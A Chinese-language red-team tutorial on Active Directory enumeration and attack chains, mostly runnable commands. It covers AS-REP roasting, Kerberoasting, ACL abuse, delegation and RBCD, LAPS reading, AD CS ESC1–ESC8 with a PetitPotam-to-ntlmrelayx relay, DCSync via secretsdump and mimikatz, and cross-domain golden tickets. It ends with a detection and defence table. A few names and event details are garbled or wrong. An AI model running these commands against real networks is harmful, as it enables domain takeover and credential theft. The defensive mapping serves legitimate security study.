目录


一、前言:为什么枚举是 AD 渗透的灵魂

在红队评估中,Active Directory(AD)环境几乎总是企业内网的核心枢纽。一个典型的域环境中,权限的"隐性路径"往往不是设计者预期的那条直线,而是通过 ACL 滥用、委派配置错误、证书模板缺陷等"暗道"绕过正式的 RBAC 体系。红队的核心能力,不在于拿到第一个 shell,而在于从海量 AD 元数据中挖掘出一条从普通域用户通往 Domain Admin 的最短攻击路径。

这正是"枚举"为何被称为 AD 渗透灵魂的原因:它不是简单的信息罗列,而是一种图论思维下的路径规划。本文将按照红队实际操作链路,从初始 foothold 到域控接管,系统讲解十个枚举阶段的方法论、工具命令、检测日志与防御措施。

枚举的核心原则可以用一句话概括:"不要假设你看到了全貌,要证明没有遗漏。" 实战中,最危险的攻击路径往往藏在被忽略的角落——一个被遗弃的旧服务账户上的 Kerberoasting、一个 GPO 里硬编码的本地管理员密码、一个被错误授予 GenericAll 的低权组。


二、AD 枚举全链路思维导图

下图是完整的 AD 枚举路线图,从初始立足点出发,每一层都对应一类可利用的攻击面。实战中并非线性推进,而是迭代式螺旋上升——拿到新权限后回头重新枚举,往往能发现之前不可见的路径。

                              ┌─────────────────────────────────┐
                              │     初始 Foothold (域用户会话)    │
                              │  whoami /groups; whoami /priv    │
                              └───────────────┬─────────────────┘
                                              │
                ┌─────────────────────────────┼─────────────────────────────┐
                ▼                             ▼                             ▼
   ┌────────────────────┐      ┌────────────────────────┐      ┌────────────────────┐
   │ ① 域信息收集        │      │ ② 用户/组枚举          │      │ ③ 组策略枚举        │
   │ 域名/DC/功能级别    │─────▶│ PowerView/SharpHound   │─────▶│ GPO 中的敏感信息    │
   │ 信任关系           │      │ BloodHound 图谱构建    │      │ 首选项/脚本/变量    │
   └─────────┬──────────┘      └───────────┬────────────┘      └─────────┬──────────┘
             │                             │                             │
             └─────────────────────────────┼─────────────────────────────┘
                                           ▼
                ┌─────────────────────────────┴─────────────────────────────┐
                ▼                             ▼                             ▼
   ┌────────────────────┐      ┌────────────────────────┐      ┌────────────────────┐
   │ ④ Kerberos 枚举    │      │ ⑤ ACL 枚举             │      │ ⑥ 委派枚举          │
   │ AS-REP Roasting    │      │ GenericAll/WriteDacl   │      │ 非约束/约束/RBCD    │
   │ Kerberoasting      │      │ ForceChangePassword    │      │ 委派账户识别        │
   └─────────┬──────────┘      └───────────┬────────────┘      └─────────┬──────────┘
             │                             │                             │
             └─────────────────────────────┼─────────────────────────────┘
                                           ▼
                ┌─────────────────────────────┴─────────────────────────────┐
                ▼                             ▼                             ▼
   ┌────────────────────┐      ┌────────────────────────┐      ┌────────────────────┐
   │ ⑦ LAPS 枚举        │      │ ⑧ AD CS 枚举           │      │ ⑨ 信任域枚举        │
   │ 密码读取权限       │      │ ESC1-ESC8 模板缺陷     │      │ 跨域/跨林 SID History│
   └─────────┬──────────┘      └───────────┬────────────┘      └─────────┬──────────┘
             │                             │                             │
             └─────────────────────────────┼─────────────────────────────┘
                                           ▼
                          ┌────────────────────────────────┐
                          │ ⑩ DCSync 枚举 → 域控接管        │
                          │ DS-Replication-Get-Changes 权限 │
                          │ lsadump::dcsync / impacket     │
                          └────────────────────────────────┘

枚举的每一个节点都对应一类可检测的异常行为,这也是蓝队在阅读本文时应当关注的重点——后文的检测日志总表会把每一项映射到具体的 Windows Event ID 和 Sysmon Event Type。


三、初始立足点与域环境感知

在拿到第一个域内会话后(无论通过钓鱼、Web 漏洞还是内网横向),第一件事不是急着扫端口,而是感知域环境。盲目的端口扫描会触发 EDR 告警,而基于 LDAP 的枚举在大多数环境里是"低噪音"的。

# 确认当前是否在域内
whoami /groups
whoami /priv
systeminfo | findstr /B "Domain"

# 快速判断域控与域功能级别
nltest /dsgetdc:corp
nltest /domain_trusts

# 当前用户的 Kerberos 票据缓存
klist

如果当前会话不是域账户,但仍能解析域控的 DNS,可以通过 LDAP 匿名枚举(前提是域控未禁用匿名 LDAP)获取基础信息。实战中更稳妥的方式是用 ldapsearch(impacket 自带或 OpenLDAP)配合空凭据测试。

# Linux 端匿名 LDAP 探测
ldapsearch -x -H ldap://dc01.corp.local -s base -b "" "(objectclass=*)"
# 关注 rootDomainNamingContext、domainControllerFunctionality、forestFunctionality

domainControllerFunctionality 和 forestFunctionality 的值映射如下,这决定了可用的高级特性(如 2016 林才有 PAM、2012 R2 才有 RBCD 默认配置):

值 功能级别 关键特性
0 2000 基础 AD
3 2012 KDC 签名
4 2012 R2 RBCD 默认可用
5 2016 PAM、MSDS-AllowedToActOnBehalfOfRestrictedIdentity
7 2025 Kerberos ARM 默认强制

四、域信息收集:摸清域的骨架

域骨架包括:域名、域控列表、域/林功能级别、FSMO 角色、信任关系、站点拓扑。这些信息决定了后续攻击的"边界"。

4.1 域控与 FSMO 角色枚举

# PowerView 获取域控
Get-NetDomainController -Domain corp.local

# 获取 FSMO 角色(关键:PDC Emulator、RID Manager、Infrastructure Master)
netdom query fsmo

# 原生 .NET 方式
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).PdcRoleOwner

FSMO 角色的实战意义:PDC Emulator 通常是密码策略和紧急锁定的权威,攻击者偏好先打 PDC;RID Manager 决定了谁分配 RID,理论上控制 RID 池可用于 SID History 注入研究。

4.2 信任关系枚举

信任关系是跨域/跨林移动的基础。关键属性是 trustDirection(双向/单向入站/单向出站)和 trustType(外部/林/跨林)以及 SIDFilteringQuarantined(是否启用 SID 过滤)。

# PowerView 枚举信任
Get-NetDomainTrust -Domain corp.local
Get-NetForestTrust

# 关注属性
#   TrustDirection: 1=入站 2=出站 3=双向
#   TrustType:      1=Windows NT 2=跨林(Acct) 3=外部 4=Kerberos
#   SIDFilteringQuarantined: True=启用SID过滤(安全) False=可SID History注入

当发现 SIDFilteringQuarantained=False 的跨域信任时,结合后续的 SID History 注入可以跨域提权。这是从子域跳到林根域的常见路径(如经典的"林内信任 + SID 500"提权)。

4.3 域密码策略

密码策略直接影响 AS-REP Roasting 和密码喷洒的成功率:

# PowerView
Get-DomainPolicyData

# 原生
net accounts

# 关注 minPwdLen、pwdHistoryLength、lockoutThreshold、lockoutDuration
# lockoutThreshold=0 表示无锁定 → 密码喷洒可行

五、用户与组枚举:BloodHound 与 PowerView 双剑合璧

用户与组枚举是 AD 枚举的主干。这里推荐两条互补的路径:PowerView 用于交互式、精细化的单点查询;SharpHound + BloodHound 用于批量采集与图分析。

5.1 PowerView 精细枚举

Import-Module .\PowerView.ps1

# 所有域用户
Get-DomainUser -Properties samaccountname,description,memberof,pwdlastset,lastlogon

# 查找带描述信息的用户(常含密码线索)
Get-DomainUser -LDAPFilter "Description=*pass*" -Properties description

# 高价值账户:Domain Admins、Enterprise Admins
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Get-DomainGroupMember -Identity "Enterprise Admins" -Recurse

# 查找未启用 Kerberos 预认证的用户(AS-REP Roasting 目标,见第七节)
Get-DomainUser -PreauthNotRequired -Properties samaccountname,useraccountcontrol

# 查找服务账户(SPN 非空 → Kerberoasting 目标,见第七节)
Get-DomainUser -SPN -Properties samaccountname,serviceprincipalname

5.2 SharpHound 批量采集

SharpHound 是 BloodHound 的数据采集器,它通过 LDAP + RPC 组合方式采集用户、组、ACL、会话、GPO、OU 等全量关系数据,最终生成 ZIP 包导入 BloodHound 进行图分析。

# 基础采集(Session + ACL + ObjectProps + ComputerProps)
SharpHound.exe -c All --zipfilename corp.zip --outputdirectory C:\temp\

# 针对大域的细分采集(避免超时)
SharpHound.exe -c GPOLocalGroup,Container,ACL --searchbase "DC=corp,DC=local"

# 隐蔽采集:仅 LDAP(不触发 RPC 会话枚举,噪音小但缺 Session)
SharpHound.exe -c ObjectProps,ACL,Group --nosessioncollection --nolocalgroup

--nosessioncollection 是隐蔽行动的关键开关——会话枚举依赖远程注册表 NetSessionEnum,会被 Sysmon Event ID 10(网络连接)和目标机的 Event ID 4624(Logon Type 3) 留痕。

5.3 BloodHound 图分析思维

导入数据后,BloodHound 的核心价值在于Shortest Path 查询。但默认的预置查询只是起点,真正的攻击路径需要自定义 Cypher(见第十四节)。一个典型的心智模型是:

  1. 用 "Find All Domain Admins" 找到目标节点集合
  2. 右键目标 → "Shortest Path Here" 查看默认路径
  3. 但默认路径常因权限"过度"而不准,需手动改写 Cypher 加入 HasSession、MemberOf、GenericAll 等边的组合

六、组策略枚举:GPO 里的敏感信息金矿

组策略(GPO)是 AD 管理员批量下发配置的手段,但也是硬编码敏感信息的高发地。三大高危点:组策略首选项(GPP)、登录脚本/部署脚本、环境变量与注册表偏好。

6.1 GPP 密码(cpassword)

虽然 MS14-025 后 GPP 存储密码的功能被废弃,但旧 GPO 的 XML 仍可能残留在 SYSVOL 中。AES-256 密钥被微软公开,导致 cpassword 可被解密。

# PowerView 枚举所有 GPO
Get-DomainGPO -Properties displayname,gpcfilesyspath

# 搜索 SYSVOL 中的 Groups.xml / ScheduledTasks.xml / Services.xml
Get-DomainGPO | Get-DomainGPOUserLocalGroupMapping  # 查找本地管理员委派

# Linux 端直接扫 SYSVOL
find / -path "*/SYSVOL/*" -name "*.xml" 2>/dev/null
# 解密 cpassword
python3 gpp-decrypt.py -f Groups.xml
# 或用 impacket
gpp-decrypt <base64_cpassword>

6.2 登录脚本与部署脚本

# 枚举所有 GPO 关联的脚本路径
Get-DomainGPO -Properties gpcfilesyspath | % {
    Get-ChildItem -Path $_.gpcfilesyspath -Recurse -Filter *.ps1 | Select Fullname
}

脚本中常含:服务账户凭据、SQL 连接串、API Key、内网 IP 列表。攻击者拿到这些信息可以直接横向。

6.3 本地管理员映射(LocalAdminMapping)

SharpHound 的 GPOLocalGroup 采集会把"GPO 下发的本地管理员"还原成图关系,这是横向到管理员会话的关键跳板。配合 BloodHound 的 AdminTo 边,可以快速找到"哪台机器的本地管理员恰好是 Domain Admin"——这正是 HasSession + AdminTo 组合攻击的基础。


七、Kerberos 枚举:AS-REP Roasting 与 Kerberoasting 的目标识别

Kerberos 协议设计中的两个"特性"被红队长期利用:预认证关闭 与 服务票据可申请。

7.1 AS-REP Roasting 目标识别

当用户的 UserAccountControl 中 DONT_REQ_PREAUTH(0x400000)位置位时,攻击者可在不知道密码的情况下获取该用户的 AS-REP,其中包含用该用户密码哈希加密的 KRB_AS_REP 部分,可离线爆破。

# PowerView 枚举目标
Get-DomainUser -PreauthNotRequired -Properties samaccountname

# Rubeus 在线获取(需要凭据或会话)
Rubeus.exe asreproast /user:svc_oldservice /domain:corp.local /dc:dc01.corp.local /format:hashcat /outfile:asrep.txt

# Linux 端无凭据版(仅靠用户名列表)
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip dc01.corp.local

离线爆破:

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

7.2 Kerberoasting 目标识别

任何注册了 SPN 的账户,其服务票据(TGS)可被任意域用户申请。TGS 中用该账户密码哈希加密的部分可离线爆破。目标优先级:高权限服务账户(如 mssqlsvc、exchange 服务账户)> 普通用户服务账户 > 计算机账户(机器密码长且随机,通常不爆破)。

# PowerView 枚举带 SPN 的用户(非计算机)
Get-DomainUser -SPN | ? { $_.samaccountname -notmatch '\$$' }

# Rubeus 请求所有 TGS
Rubeus.exe kerberoast /ldapfilter 'samaccounttype=805306368' /outfile:tgs.txt /nopreauth

# 优先爆破 RC4-HMAC 加密的票据(密码哈希为 NTLM,比 AES 易爆破)
Rubeus.exe kerberoast /rc4opsec
# Linux 端
impacket-GetUserSPNs corp.local/user:pass -request -dc-ip dc01.corp.local

# 爆破
hashcat -m 13100 tgs.txt rockyou.txt

/rc4opsec 的意义:现代 Kerberos 优先协商 AES,但 AES 票据爆破成本高。rc4opsec 通过请求特定加密类型(RC4-HMAC,etype 23)迫使 KDC 返回 NTLM 哈希加密的票据。防御侧应通过组策略禁用 RC4(Network security: Configure encryption types allowed for Kerberos 仅允许 AES)。

7.3 目标筛选技巧

实战中盲目 Kerberoasting 会拿到大量计算机账户票据。筛选高价值目标的 Cypher 思路:SPN 非空 + 非 $ 结尾 + memberOf 任何特权组。在 BloodHound 中可写为:

MATCH (u:User {hasspn:true}) WHERE NOT u.name ENDS WITH '$'
MATCH (u)-[:MemberOf]->(g:Group)
WHERE g.highvalue = true
RETURN u.name, g.name

八、ACL 枚举:GenericAll/WriteDacl/ForceChangePassword 危险链

ACL 是 BloodHound 图中信息量最大、攻击路径最复杂的边类型。一个看似无害的低权用户,可能通过对某个高权账户持有 GenericAll 而成为提权跳板。

8.1 危险权限语义

访问权限 语义 可执行攻击
GenericAll 完全控制(写属性+删+改权限+改所有者) 重置密码、改 SPN、改 userAccountControl
GenericWrite 写任意属性 改 SPN → Kerberoasting;改 scriptPath → 加载恶意脚本
WriteDacl 修改 ACL 把自身加入 GenericAll → 链式提权
WriteOwner 修改所有者 取得所有权后改 ACL
ForceChangePassword (User-Force-Change-Password) 强制重置密码 直接重置目标密码登录
AllExtendedRights 所有扩展权限 重置密码(Reset Password 扩展右)

8.2 PowerView 枚举 ACL

# 我(当前用户)对目标有哪些权限
Invoke-ACLScanner -ResolveGUIDs | ? {
    $_.IdentityReferenceName -match '当前用户名' -and
    $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner|ForceChangePassword'
}

# 反向:谁对我关心的对象(如 Domain Admins 组)有写权限
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? {
    $_.ActiveDirectoryRights -match 'Write|GenericAll'
}

8.3 典型攻击链:GenericAll 重置密码

# 1. 确认我对 svc_web 有 GenericAll
Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs | ? { $_.IdentityReference -match 'myuser' }

# 2. 重置其密码
Set-DomainUserPassword -Identity svc_web -AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# 3. 若 svc_web 恰好是某机器本地管理员 → 横向
# 4. 若 svc_web 在某个特权组 → 域内提权

8.4 GenericWrite → Kerberoasting 链

# 给目标加 SPN,使其成为 Kerberoasting 目标(即便它本身密码弱)
Set-DomainObject -Identity svc_weak -Set @{serviceprincipalname='fake/roast'}
# 请求其 TGS → 离线爆破 → 拿到明文密码
# 完成后清除 SPN 避免留痕
Set-DomainObject -Identity svc_weak -Clear serviceprincipalname

这条链路在 BloodHound 中表现为 GenericWrite 边 + 后续的 Kerberoastable 节点,是默认 Shortest Path 查询能识别的常见路径之一。


九、委派枚举:非约束、约束与 RBCD

Kerberos 委派允许服务代表用户访问其他服务,是 AD 中权限"延展"机制。三类委派对应三种攻击。

9.1 非约束委派(Unconstrained Delegation)

账户 userAccountControl 中 TRUSTED_FOR_DELEGATION(0x80000)位置位。当任何用户访问该账户所在机器时,其 TGT 会被缓存在该机器的 LSASS 中——包括域管。

# 枚举非约束委派账户
Get-DomainUser -Unconstrained -Properties samaccountname,useraccountcontrol
Get-DomainComputer -Unconstrained -Properties samaccountname,useraccountcontrol

# 监听 TGT(需管理员权限)
Rubeus.exe monitor /interval:5 /filteruser:Administrator
# 触发域管访问:打印机 Bug (MS-RPRN) 强制 DC 向本机认证
SpoolSample.exe dc01.corp.local attacker.corp.local
# 捕获到 DC$ 的 TGT 后 → DCSync
Rubeus.exe ptt /ticket:<base64>

打印机 Bug(Print Spooler 的 RpcRemoteFindFirstPrinterChangeNotificationEx)是非约束委派攻击的"触发器",前提是 DC 的 Print Spooler 服务未禁用。2021 年 PrintNightmare 后许多环境禁用了 Spooler,这条链路在部分环境已失效。

9.2 约束委派(Constrained Delegation)

账户的 msDS-AllowedToDelegateTo 属性列出可代表用户访问的目标服务。攻击者可用 S4U2Self + S4U2Proxy 为任意用户伪造到指定服务的票据。

# 枚举约束委派
Get-DomainUser -TrustedToAuth -Properties samaccountname,msds-allowedtoDELEGATETO
Get-DomainComputer -TrustedToAuth -Properties samaccountname,msds-allowedtoDELEGATETO

# Rubeus S4U 攻击(需账户密码/NTLM)
Rubeus.exe s4u /user:svc_web /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:CIFS/dc01.corp.local /ptt

约束委派的限制:只能到 msDS-AllowedToDelegateTo 列出的服务。但若该服务是 CIFS、LDAP、HTTP 等高价值协议,已足够接管 DC 或 Exchange。

9.3 基于资源的约束委派(RBCD)

RBCD(2012 R2+)将"谁能委派给我"的配置权交给目标对象自身,存储在目标的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。攻击条件:对目标计算机对象有 GenericAll/GenericWrite/WriteAccountRestrictions 权限,即可把自己控制的机器账户写入该属性,随后用 S4U 以任意用户身份访问目标。

# 1. 枚举我对哪些机器有写权限
Invoke-ACLScanner -ResolveGUIDs | ? {
    $_.ObjectClass -eq 'computer' -and
    $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteAccountRestrictions'
}

# 2. 用当前域用户创建一个机器账户(默认 MachineAccountQuota=10)
New-MachineAccount -MachineAccount evilPC -Password $(ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)

# 3. 把 evilPC 写入目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
Set-RBCD -Target WORKSTATION01 -DelegateFrom evilPC$

# 4. S4U 伪造
Rubeus.exe s4u /user:evilPC$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:CIFS/WORKSTATION01 /ptt

RBCD 的可怕之处:任何普通域用户都能创建机器账户(MachineAccountQuota),且无需 DC 上的特殊权限——只要能写目标计算机对象。防御侧应将 MachineAccountQuota 设为 0。

9.4 委派枚举速查

类型 属性 攻击触发条件 防御
非约束 UAC: TRUSTED_FOR_DELEGATION 用户访问该机器 → 缓存 TGT 不要把 DC、关键服务器设为非约束委派;启用 PAE
约束 msDS-AllowedToDelegateTo 持有服务账户密码 收紧服务账户权限,启用 PAE
RBCD msDS-AllowedToActOnBehalfOfOtherIdentity 对目标机器有写权限 MachineAccountQuota=0;保护计算机对象 ACL

PAE(Privilege Attribute Certificate Enforcement / Protected Users)会让带委派标志的 TGT 失效,是缓解委派攻击的重要措施。


十、LAPS 枚举:本地管理员密码读取权限

LAPS(Local Administrator Password Solution)通过 AD 属性 ms-Mcs-AdmPwd 存储每台机器的本地管理员明文密码,ms-Mcs-AdmPwdExpirationTime 存储过期时间。攻击重点是谁有读取该属性的权限。

10.1 老版 LAPS(ms-Mcs-AdmPwd)

# 谁能读 ms-Mcs-AdmPwd
Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=corp,DC=local"

# 直接读取(需有权限)
Get-DomainComputer -Identity WORKSTATION01 -Properties ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

# PowerView 批量找可读机器
Get-DomainObjectAcl -Identity "WORKSTAIN*" -ResolveGUIDs | ? {
    $_.ObjectAceType -eq 'ms-Mcs-AdmPwd' -and
    $_.ActiveDirectoryRights -match 'ReadProperty'
}

10.2 新版 Windows LAPS(msLAPS-Password)

Windows 11/Server 2022 起原生 LAPS 使用 msLAPS-Password(JSON 格式,含加密)与 msLAPS-EncryptedPassword。枚举思路一致,但属性不同:

# 枚举新版 LAPS 密码可读权限
Get-DomainObjectAcl -ResolveGUIDs | ? {
    $_.ObjectAceType -match 'msLAPS-Password|msLAPS-EncryptedPassword'
}

# 读取(明文)
Get-DomainComputer -Identity WORKSTAIN01 -Properties msLAPS-Password
# 读取(加密,需是授权解密组)
Get-DomainComputer -Identity WORKSTAIN01 -Properties msLAPS-EncryptedPassword,msLAPS-EncryptedPasswordHistory

LAPS 密码一旦拿到,即可直接登录目标机器的本地管理员账户。这是从"我对这台机器有 LAPS 读权限"到"我是这台机器管理员"的一步跨越,常用于补齐横向跳板。


十一、AD CS 枚举:证书模板 ESC1-ESC8

Active Directory Certificate Services(AD CS)是 AD 中常被忽视但攻击面巨大的组件。Certify 的作者 SpecterOps 将证书模板的配置错误归纳为 ESC1-ESC8。

11.1 ESC1:任意主体 + 客户端认证 + SAN 可指定

模板满足以下条件即可被任意低权用户用于"以任意身份申请证书":

  1. 客户端认证 EKU(Client Authentication / PKINIT Client Auth / Smart Card Logon)
  2. 低权限用户可注册(Authenticated Users 有 Enroll 权限)
  3. msPKI-Certificate-Name-Flag 含 ENROLLEE_SUPPLIES_SUBJECT(0x1)→ 申请者可指定 SAN
# Certify 枚举易攻击模板
Certify.exe find /vulnerable

# 利用以 Administrator 身份申请证书
Certify.exe request /ca:dc01.corp.local\corp-CA /template:VulnTemplate /altname:Administrator

# 用证书通过 PKINIT 换 TGT
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:pass /domain:corp.local /dc:dc01.corp.local /ptt

11.2 ESC2-ESC8 速览

编号 漏洞类型 核心条件 利用结果
ESC1 SAN 可指定 + 客户端认证 ENROLLEE_SUPPLIES_SUBJECT 任意身份证书
ESC2 Any Purpose EKU / 无 EKU 模板 EKU 为空或 Any Purpose 可用于任何用途(含认证)
ESC3 证书请求代理 EKU 模板含 Certificate Request Agent EKU 代他人申请任意模板
ESC4 模板对象可写 低权用户对模板有 WriteDacl 改模板配置为 ESC1
ESC5 CA/容器可写 对 CA 对象或 PKI 容器有写权限 改 CA 配置、下发子 CA
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 CA 启用该标志 所有模板都可用 SAN
ESC7 ManageCA 权限 低权用户对 CA 有 ManageCA 停用 CA 标志、下发证书
ESC8 NTLM Relay 到 HTTP/Web Enrollment 存在 Web Enrollment 端点 中继认证到 CA

ESC8 的实战:通过 PetitPotam 强制域控向攻击者做 NTLM 认证,中继到 AD CS 的 Web Enrollment 端点,以 DC$ 身份申请证书,再用该证书 PKINIT 换 DC$ 的 TGT → DCSync。这是 2021 年后最热的无凭据域控接管路径之一。

# 中继链路(Linux)
# 1. 触发 DC 认证
python3 PetitPotam.py attacker_ip dc01.corp.local
# 2. ntlmrelayx 监听并转发到 Web Enrollment
ntlmrelayx.py -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template Machine
# 3. 拿到 base64 证书 → 用 PKINITex 换 TGT
python3 gettgtpkinit.py corp.local/dc01\$ -cert-pfx base64.pfx -pfx-pass pass dc01.pfx
# 4. DCSync
python3 secretsdump.py -k -no-pass dc01.corp.local

11.3 枚举命令汇总

# Certify 完整枚举
Certify.exe find /vulnerable /currentuser
Certify.exe find /enrolleeSuppliesSubject    # ESC1
Certify.exe find /template:"AnyPurpose"      # ESC2

# 也可用 ldapsearch 手工枚举模板属性
# 关注 pKIExtendedKeyUsage、msPKI-Certificate-Name-Flag、nTSecurityDescriptor

十二、信任域枚举:跨域/跨林信任利用

跨域/跨林信任是横向到其他域(如林根域)的桥梁。核心利用点:SID History 注入与跨林信任的 SID 过滤状态。

12.1 信任方向与 SID 过滤

# 枚举信任及 SID 过滤状态
Get-DomainTrust -Domain child.corp.local | Select SourceName,TargetName,TrustDirection,TrustType,SIDFilteringQuarantined,ForestTransitive

当 SIDFilteringQuarantained=False 且 TrustDirection 含出站时,可在 TGT 中嵌入目标域高权 SID(如 Enterprise Admins 的 SID),跨域认证时该 SID 会被加入用户 PAC → 跨域提权。这就是经典的"ExtraSids"攻击(如从子域跳到林根域)。

12.2 利用 ExtraSids 跨域

# 假设已在 child 域拿到 krbtgt 域哈希(黄金票据无法跨域,因为 krbtgt 是域级)
# 需要 child 域的 krbtgt + 目标林根域的 Enterprise Admins SID

# 构造跨域黄金票据(含 ExtraSids)
impacket-ticketer.py -nthash <child_krbtgt_ntlm> -domain child.corp.local -domain-sid <child_domain_sid> -extra-sid <forest_root_ea_sid>-500 -user Administrator extra.ticket

# 注入并访问林根域
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass forest-root-dc/

12.3 林信任与选择性认证

林信任默认启用 SID 过滤,但若配置了 SIDFilteringForestAware=False 或开启了 EnableTGTDelegation,仍可能存在利用空间。此外,林信任的"选择性认证"(Selective Authentication)若配置不严,可导致全林可访问。

# 枚举林信任
Get-ForestTrust
# 关注 ForestTransitive=true 且 SIDFilteringQuarantined=false 的信任

十三、DCSync 枚举:域控接管前的最后一公里

DCSync 本质是模拟域控的复制行为(DS-Replication-Get-Changes 与 DS-Replication-Get-Changes-All),向 DC 请求密码哈希。它不需要登录 DC,只需要这两个扩展权限。默认持有者是 Domain Admins、Enterprise Admins、DC 本身。

13.1 枚举谁有 DCSync 权限

# PowerView 枚举对域对象持 DS-Replication 权限的主体
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | ? {
    $_.ObjectAceType -match 'Replication-Get-Changes' -and
    $_.ActiveDirectoryRights -match 'ExtendedRight'
}

# BloodHound Cypher:找所有 DCSync 权限主体
# 见第十四节

常见的"意外"DCSync 主体:备份服务账户(被授予 Replicating Directory Changes 用于备份)、Exchange 服务器账户、AD Connect 同步账户、被过度授权的开发/运维账户。

13.2 执行 DCSync

# impacket
secretsdump.py corp.local/svc_backup:pass@dc01.corp.local -just-dc-ntlm
secretsdump.py -hashes :<NTLM> corp.local/svc_backup@dc01.corp.local -just-dc

# Mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv

拿到 krbtgt 哈希即可铸造黄金票据(持久化);拿到 Administrator 哈希即可 Pass-the-Hash 直接接管域控。

13.3 DCSync 的检测要点

DCSync 触发的是 DRSUAPI RPC(RPC interface UUID 4d3fbb00),在 DC 上表现为 Event ID 4662(对象访问,属性含 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 与 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)。若发起方不是已知 DC、不是备份服务窗口、不是 AD Connect 同步账户 → 高置信度告警。


十四、BloodHound 自定义 Cypher 查询实战

BloodHound 默认查询覆盖了常见路径,但实战中真正高价值的路径往往是"组合边"。下面给出若干经过实战验证的自定义 Cypher。

14.1 找所有 DCSync 权限主体

MATCH (n1)-[:GetChanges|GetChangesAll]->(d:Domain)
RETURN n1.name, labels(n1), d.name

14.2 找可 Kerberoasting 的高权服务账户

MATCH (u:User {hasspn:true})
WHERE NOT u.name ENDS WITH '$'
MATCH (u)-[:MemberOf*1..]->(g:Group)
WHERE g.objectid ENDS WITH '-512'   // Domain Admins
   OR g.objectid ENDS WITH '-519'   // Enterprise Admins
RETURN u.name, g.name

14.3 找 RBCD 可利用链:我对哪些机器可写 + 机器上有哪些高权会话

MATCH (me:User {name:'CORP\\lowuser@CORP.LOCAL'})
MATCH (me)-[:GenericAll|GenericWrite|WriteAccountRestrictions]->(c:Computer)
MATCH (s:User)-[:HasSession]->(c)
WHERE s.admincount = true OR s.name ENDS WITH 'Administrator'
RETURN c.name, s.name

14.4 找非约束委派机器 + 域管会话

MATCH (c:Computer {unconstraineddelegation:true})
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'})
MATCH (u)-[:HasSession]->(c)
RETURN c.name, u.name

14.5 找 WriteDacl 链式提权路径

MATCH (u:User {name:'CORP\\lowuser@CORP.LOCAL'})
MATCH path = (u)-[:WriteDacl|GenericAll|GenericWrite*1..4]->(t)
WHERE t.admincount = true
RETURN path

14.6 找 ESC1 证书模板的可注册主体

BloodHound 5.x 起支持 ADCS 节点。查询"任意人可注册且可指定 SAN 的模板":

MATCH (t:CertTemplate)
WHERE t.enrolleesuppliessubject = true
  AND t.authenticationenabled = true
MATCH (p)-[:Enroll]->(t)
WHERE p.name CONTAINS 'AUTHENTICATED USERS'
RETURN t.name, p.name

14.7 找跨域攻击起点:可写信任 + 域内 krbtgt

MATCH (d1:Domain)-[:TrustedBy]->(d2:Domain)
WHERE d1.sidfiltering = false
MATCH (u:User)-[:GetChanges|GetChangesAll]->(d1)
RETURN d1.name, d2.name, u.name

把上述 Cypher 保存为 custom.json 放到 BloodHound 的 customqueries 目录,即可在 UI 的"Custom Queries"中直接调用。


十五、检测日志与防御措施总表

下表把每个枚举阶段映射到对应的 Windows 事件 ID、Sysmon 事件类型、以及关键防御措施。蓝队应据此构建 SIEM 检测规则。

枚举阶段 关键检测日志 检测要点 防御措施
域信息收集(LDAP) DC: 4662、LDAP Query 日志 单 IP 短时间大量 LDAP 查询;非 DC 机器查询域对象全量属性 限制匿名 LDAP;启用 LDAP 签名/绑定通道加密;LDAP 审计策略
用户/组枚举 DC: 4662、4624(T3) SharpHound 的 RPC NetSessionEnum 触发目标机 4624(T3) 与 4634 收紧 NetSession 枚举;监控 LSASS 远程访问
GPO 枚举 文件审计(SYSVOL 读取)、4663 大量 XML 文件读取;非管理员读取 GPP 移除 GPP 残留;启用 SYSVOL 文件审计
AS-REP Roasting DC: 4768(无预认证的 AS-REQ) 同一来源大量 AS-REQ 且 PreAuthType=0 禁用所有账户的 DONT_REQ_PREAUTH;监控 4768 中 0x17(预认证失败)
Kerberoasting DC: 4769(TGS 请求) 短时间内对一个账户请求多次 TGS;请求 RC4(etype 23) 禁用 RC4;服务账户用 gMSA;监控 4769 中 etype=23
ACL 枚举 DC: 4662(属性读取) 大量 controlAccessRight 读取;非默认工具读 ACL 收紧高权对象 ACL;定期 ACL 审计
非约束委派利用 DC: 4768/4769、目标机 4624 委派账户的 TGT 在非预期机器缓存 部署 PAE/Protected Users;禁用 DC Spooler;监控非约束委派账户
约束/RBCD 委派 DC: 4768(S4U)、4769(S4U2Proxy) S4U2Self + S4U2Proxy 组合;TRANSITED_PROXY flag MachineAccountQuota=0;保护计算机对象 ACL;启用 PAE
LAPS 读取 DC: 4662(属性 ms-Mcs-AdmPwd) 非授权用户读取 LAPS 属性 严格 LAPS 读取权限;监控该属性读
AD CS(ESC1/8) CA: 事件 4886/4887(证书颁发);Web Enrollment IIS 日志 低权账户申请高权模板;SAN 与请求者不一致;NTLM 中继到 Web Enrollment 修复模板(关闭 SAN、收紧 EKU、限制注册);启用证书颁发审计;Web Enrollment 启用 EPA
